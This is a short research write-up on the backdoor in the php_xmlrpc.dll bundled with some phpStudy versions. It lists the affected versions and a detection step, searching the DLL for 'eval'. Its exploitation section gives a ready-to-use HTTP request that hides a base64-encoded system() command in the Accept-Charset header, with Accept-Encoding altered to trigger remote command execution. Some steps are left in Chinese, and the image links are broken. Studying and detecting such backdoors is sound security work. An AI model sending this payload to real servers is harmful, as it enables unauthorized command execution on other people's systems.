[Research] Exploiting the PHPStudy Backdoor

[Research] Exploiting the PHPStudy Backdoor

• • 1. Environment
  • 2. Mechanism
  • 3. Affected Versions
  • 4. Backdoor Detection
  • 5. Vulnerability Exploitation

1. Environment

The following two versions were tested:
Backdoored version of phpStudy_2016.11.03
Backdoored version of PhpStudy20180211

PhpStudy is familiar to many developers in China. It is a free, integrated PHP debugging environment package that bundles the latest versions of Apache, PHP, MySQL, phpMyAdmin, ZendOptimizer, and other software into a single installation. It can be used directly without configuration and provides both PHP environment debugging and PHP development capabilities. Because it is free, community-oriented, simple, and convenient, it has grown to a considerable scale and now has nearly one million users who are learning or developing with PHP.

2. Mechanism

The php_xmlrpc.dll module included with the package’s PHP distribution contains a hidden backdoor.

3. Affected Versions

phpStudy20161103:

php5.4.45 and php5.2.17

phpStudy20180211:

php5.4.45 and php5.2.17

4. Backdoor Detection

Download the corresponding version and start it.

Check whether the backdoor file exists.
Location:

xxxx\phpstudy\PHPTutorial\php\php-5.2.17\ext
I used this version:
xxxx\phpstudy\PHPTutorial\php\php-5.4.45\ext
Locate the php_xmlrpc.dll file in the directory.
![Image description](/images/20190929104050280.png Open it and search for the eval keyword:
![Image description](/images/20190929104300624.png If it is found, the backdoor exists.

5. Vulnerability Exploitation

Next, access any PHP file.
Capture the packet and modify the request header field:

accept-Encoding中逗号后面的空格要去掉
Accept-Charset为system('ipconfig')的base64编码

After modification:

accept-Encoding:gzip,deflate
Accept-Charset:c3lzdGVtKCdpcGNvbmZpZycpOw==

![Image description](/images/20190929105541822.png Packet:

GET / HTTP/1.1
Host: 10.77.0.100
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
accept-Encoding:gzip,deflate
Accept-Charset:c3lzdGVtKCdpcGNvbmZpZycpOw==
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0